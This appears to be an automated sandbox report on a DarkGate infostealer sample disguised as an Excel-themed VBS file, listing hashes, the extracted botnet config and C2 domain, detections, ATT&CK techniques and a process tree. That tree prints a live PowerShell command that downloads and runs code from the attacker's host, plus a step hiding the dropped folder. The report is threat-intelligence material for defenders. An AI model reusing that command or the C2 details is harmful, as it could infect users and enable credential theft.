darkgate | 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

Resubmissions

12/08/2024, 11:41

240812-ntgelazapr8

08/05/2024, 15:00

240508-sdtr7sab2w8

05/04/2024, 15:07

240405-shpdaafc3v10

04/04/2024, 20:19

240404-y3t26aaa3710

Analysis

max time kernel
188s
max time network
258s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
04/04/2024, 20:19

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General

Target
EXCEL_DOCUMENT_OPEN.vbs
Size 23KB
Sample240404-y3t26aaa37
SHA256 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
MD5 6925ed4c3665b27592c356b0bbd4948d
SHA1 7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA512 333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP 384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

irreceiver.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
AdRDIQXg
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/3800-62-0x0000000004960000-0x00000000049D4000-memory.dmp	family_darkgate_v6
behavioral2/memory/3800-64-0x0000000004960000-0x00000000049D4000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	4188	powershell.exe
4	4188	powershell.exe
5	4188	powershell.exe
6	4188	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3800	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe
3800	AutoHotkey.exe
3800	AutoHotkey.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4188	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 4188	2176	WScript.exe	73
PID 2176 wrote to memory of 4188	2176	WScript.exe	73
PID 4188 wrote to memory of 3800	4188	powershell.exe	75
PID 4188 wrote to memory of 3800	4188	powershell.exe	75
PID 4188 wrote to memory of 3800	4188	powershell.exe	75
PID 4188 wrote to memory of 5008	4188	powershell.exe	76
PID 4188 wrote to memory of 5008	4188	powershell.exe	76

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5008	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\bnpk\AutoHotkey.exe
    "C:\bnpk\AutoHotkey.exe" C:/bnpk/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3800
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/bnpk/
    3⤵
    - Views/modifies file attributes
    PID:5008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_n0gpzcfu.5b1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0gpzcfu.5b1.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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AutoHotkey.exe

Path C:\bnpk\AutoHotkey.exe
Size 892KB
SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
MD5 a59a2d3e5dda7aca6ec879263aa42fd3
SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
MD5 SHA1 SHA512 SSDEEP

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script.ahk

Path C:\bnpk\script.ahk
Size 441B
SHA256 413ca585a9217847287dd01d836d7c3a866729016bc9cb2eb6296d28bac5b937
MD5 77f2459d628fb37ef971846326b498a8
SHA1 3baefa06af304c7db531bbebe2c285d16ee0b337
SHA512 869c5c790c0f8f8626784d3209f40fe731a7886a3a9e1e834f8d2380fb9dfa2874fded5120f12b92beeab4d413c579cc8512b4660b2a905574adaa43557b5f01
MD5 SHA1 SHA512

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test.txt

Path C:\bnpk\test.txt
Size 924KB
SHA256 41472438e798bf94a68600f1519552a30c2eeb4b352549ab57e2351d89271a2b
MD5 63b3d0aa63886a380b08354f9aa42571
SHA1 163f4c68cc88d5738728100f922e19d595ae1623
SHA512 8632654b064579a0e76d088571094daaaf930c06dcf8080ee04a9fb393e8d0ffc4cae7ad35cf757b5f817dabad03a37869d873be0784a2af5ca719c85861b54f
SSDEEP 12288:+tSC7BFd6XXV5Zos5bZqJB7ggl/qEpUwDoWiCrqJxq0/zi6wRSSfUcpNJwwLeoZL:Lce8NVZlP
MD5 SHA1 SHA512 SSDEEP

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memory/3800-64-0x0000000004960000-0x00000000049D4000-memory.dmp

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memory/3800-62-0x0000000004960000-0x00000000049D4000-memory.dmp

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memory/4188-7-0x0000023754060000-0x0000023754070000-memory.dmp

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memory/4188-30-0x000002376E830000-0x000002376E9F2000-memory.dmp

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memory/4188-25-0x0000023754060000-0x0000023754070000-memory.dmp

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memory/4188-10-0x000002376E0D0000-0x000002376E146000-memory.dmp

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memory/4188-4-0x000002376DF20000-0x000002376DF42000-memory.dmp

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memory/4188-61-0x00007FFCBB3D0000-0x00007FFCBBDBC000-memory.dmp

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memory/4188-9-0x0000023754060000-0x0000023754070000-memory.dmp

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memory/4188-5-0x00007FFCBB3D0000-0x00007FFCBBDBC000-memory.dmp

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